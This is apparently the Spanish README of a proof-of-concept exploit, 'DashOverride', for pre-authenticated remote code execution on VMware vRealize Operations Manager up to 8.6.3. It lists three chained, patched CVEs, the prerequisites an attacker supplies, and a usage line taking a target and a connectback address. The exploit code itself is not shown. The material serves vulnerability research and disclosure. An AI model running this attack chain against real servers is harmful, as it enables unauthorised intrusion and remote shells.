DashOverride

Qué

Este es un exploit de RCE pre-autenticado para VMware vRealize Operations Manager (vROPS) que afecta a las versiones <= 8.6.3.19682901.

Autor

Steven Seeley de Qihoo 360 Vulnerability Research Institute

Probado

El exploit fue probado contra 8.6.3.19682901 usando el archivo vRealize-Operations-Manager-Appliance-8.6.3.19682901_OVF10.ova (SHA1: 4637b6385db4fbee6b1150605087197f8d03ba00), pero se sabe que funciona contra otras versiones anteriores también.

Notas

• Este exploit encadena tres vulnerabilidades que han sido parcheadas. Más detalles se pueden encontrar en la entrada de blog:

  • CVE-2022-31675 - Bypass de autenticación de MainPortalFilter ui
  • CVE-2022-31674 - Divulgación de información de SupportLogAction
  • CVE-2022-31672 - Escalada de privilegios de generateSupportBundle VCOPS_BASE

• Este exploit requerirá que el atacante proporcione:

  • Un token de dashboardlink válido que se utilizará para omitir la autenticación.
  • Su propia configuración de servidor SMTP, esto es para asegurar que la explotación funcione.
  • Un archivo Pak válido que esté firmado por VMWare, como APUAT-8.5.0.18176777.pak.

• Hay muchas partes móviles en este exploit, con suerte lo diseñé bien para que funcione a la primera.

• El exploit tarda en promedio ~1m34.142s en completarse (probado 5 veces), intenté diseñarlo para que fuera más rápido, pero está dentro de un tiempo asignado para una competición ;->

Ejecución

researcher@mars:~$ ./poc.py 
(+) usage: ./poc.py <target> <connectback> <dashboardlink_token>
(+) eg: ./poc.py 192.168.2.196 192.168.2.234 uuncuybis9

Ejemplo